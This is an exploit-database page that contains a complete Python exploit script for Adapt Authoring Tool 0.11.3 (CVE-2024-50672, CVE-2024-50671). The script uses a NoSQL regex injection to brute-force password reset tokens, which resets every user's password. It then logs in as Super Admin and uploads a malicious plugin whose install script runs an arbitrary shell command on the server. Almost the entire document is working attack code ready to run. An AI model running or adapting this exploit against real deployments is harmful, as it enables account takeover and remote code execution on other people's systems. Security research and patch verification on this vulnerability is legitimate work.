Share
## https://sploitus.com/exploit?id=PACKETSTORM:190473
# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
    # Date: 2024-11-24
    # Exploit Author: Eui Chul Chung
    # Vendor Homepage: https://www.adaptlearning.org/
    # Software Link: https://github.com/adaptlearning/adapt_authoring
    # Version: 0.11.3
    # CVE Identifier: CVE-2024-50672 , CVE-2024-50671
    
    import io
    import sys
    import json
    import zipfile
    import argparse
    import requests
    import textwrap
    
    
    def get_session_cookie(username, password):
        data = {"email": username, "password": password}
        res = requests.post(f"{args.url}/api/login", data=data)
    
        if res.status_code == 200:
            print(f"[+] Login as {username}")
            return res.cookies.get_dict()
    
        return None
    
    
    def get_users():
        session_cookie = get_session_cookie(args.username, args.password)
        if session_cookie is None:
            print("[-] Login failed")
            sys.exit()
    
        res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
        users = [
            {"email": user["email"], "role": user["roles"][0]["name"]}
            for user in json.loads(res.text)
        ]
    
        roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
        users.sort(key=lambda user: roles[user["role"]])
        for user in users:
            print(f"[+] {user['email']} ({user['role']})")
    
        return users
    
    
    def reset_password(users):
        # Overwrite potentially expired password reset tokens
        for user in users:
            data = {"email": user["email"]}
            requests.post(f"{args.url}/api/createtoken", data=data)
        print("[+] Generate password reset token for every user")
    
        valid_characters = "0123456789abcdef"
        next_tokens = ["^"]
    
        # Ensure that only a single result is returned at a time
        while next_tokens:
            prev_tokens = next_tokens
            next_tokens = []
    
            for token in prev_tokens:
                for ch in valid_characters:
                    data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
                    res = requests.put(
                        f"{args.url}/api/userpasswordreset/w00tw00t",
                        json=data,
                    )
    
                    # Multiple results returned
                    if res.status_code == 500:
                        next_tokens.append(token + ch)
    
        print("[+] Reset every password to HaXX0r3d!")
    
    
    def create_plugin(plugin_name):
        manifest = {
            "name": plugin_name,
            "version": "1.0.0",
            "extension": "exploit",
            "main": "/js/main.js",
            "displayName": "exploit",
            "keywords": ["adapt-plugin", "adapt-extension"],
            "scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
        }
    
        property = {
            "properties": {
                "pluginLocations": {
                    "type": "object",
                    "properties": {"course": {"type": "object"}},
                }
            }
        }
    
        payload = textwrap.dedent(
            f"""
        const {{ exec }} = require("child_process");
    
        module.exports = async function (fs, path, log, options, done) {{
          try {{
            exec("{args.command}");
          }} catch (err) {{
            log(err);
          }}
          done();
        }};
        """
        ).strip()
    
        plugin = io.BytesIO()
        with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
            zip_file.writestr(
                f"{plugin_name}/bower.json",
                io.BytesIO(json.dumps(manifest).encode()).getvalue(),
            )
            zip_file.writestr(
                f"{plugin_name}/properties.schema",
                io.BytesIO(json.dumps(property).encode()).getvalue(),
            )
            zip_file.writestr(
                f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
            )
            zip_file.writestr(
                f"{plugin_name}/scripts/postcopy.js",
                io.BytesIO(payload.encode()).getvalue(),
            )
    
        plugin.seek(0)
        return plugin
    
    
    def find_plugin(cookies, plugin_type, plugin_name):
        res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
        for plugin in json.loads(res.text):
            if plugin["name"] == plugin_name:
                return plugin["_id"]
    
        return None
    
    
    def create_course(cookies):
        data = {}
        res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
        course_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": course_id}
        res = requests.post(
            f"{args.url}/api/content/contentobject",
            cookies=cookies,
            json=data,
        )
        content_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": content_id}
        res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
        article_id = json.loads(res.text)["_id"]
    
        data = {"_courseId": course_id, "_parentId": article_id}
        res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
        block_id = json.loads(res.text)["_id"]
    
        component_id = find_plugin(cookies, "component", "adapt-contrib-text")
    
        data = {
            "_courseId": course_id,
            "_parentId": block_id,
            "_component": "text",
            "_componentType": component_id,
        }
        requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)
    
        return course_id
    
    
    def rce(users):
        session_cookie = None
        for user in users:
            if user["role"] == "Super Admin":
                session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
                break
    
        if session_cookie is None:
            print("[-] Failed to login as Super Account")
            sys.exit()
    
        plugin_name = "adapt-contrib-xapi"
        print(f"[+] Create malicious plugin : {plugin_name}")
        plugin = create_plugin(plugin_name)
    
        print("[+] Scan installed plugins")
        plugin_id = find_plugin(session_cookie, "extension", plugin_name)
        if plugin_id is None:
            print(f"[+] {plugin_name} not found")
        else:
            print(f"[+] Found {plugin_name}")
            print(f"[+] Remove {plugin_name}")
            requests.delete(
                f"{args.url}/api/extensiontype/{plugin_id}",
                cookies=session_cookie,
            )
    
        print("[+] Upload plugin")
        files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
        requests.post(
            f"{args.url}/api/upload/contentplugin",
            cookies=session_cookie,
            files=files,
        )
    
        print("[+] Find uploaded plugin")
        plugin_id = find_plugin(session_cookie, "extension", plugin_name)
        if plugin_id is None:
            print(f"[-] {plugin_name} not found")
            sys.exit()
        print(f"[+] Plugin ID : {plugin_id}")
    
        print("[+] Add plugin to new courses")
        data = {"_isAddedByDefault": True}
        requests.put(
            f"{args.url}/api/extensiontype/{plugin_id}",
            cookies=session_cookie,
            json=data,
        )
    
        print("[+] Create a new course")
        course_id = create_course(session_cookie)
    
        print("[+] Build course")
        res = requests.get(
            f"{args.url}/api/output/adapt/preview/{course_id}",
            cookies=session_cookie,
        )
    
        if res.status_code == 200:
            print("[+] Command execution succeeded")
        else:
            print("[-] Command execution failed")
    
        print("[+] Remove course")
        requests.delete(
            f"{args.url}/api/content/course/{course_id}",
            cookies=session_cookie,
        )
    
    
    def main():
        print("[*] Retrieve user information")
        users = get_users()
    
        print("\n[*] Reset password")
        reset_password(users)
    
        print("\n[*] Perform remote code execution")
        rce(users)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "-u",
            dest="url",
            help="Site URL (e.g.  www.adaptlearning.org)",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-U",
            dest="username",
            help="Username to authenticate as",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-P",
            dest="password",
            help="Password for the specified username",
            type=str,
            required=True,
        )
        parser.add_argument(
            "-c",
            dest="command",
            help="Command to execute (e.g. touch /tmp/pwned)",
            type=str,
            default="touch /tmp/pwned",
        )
        args = parser.parse_args()
    
        main()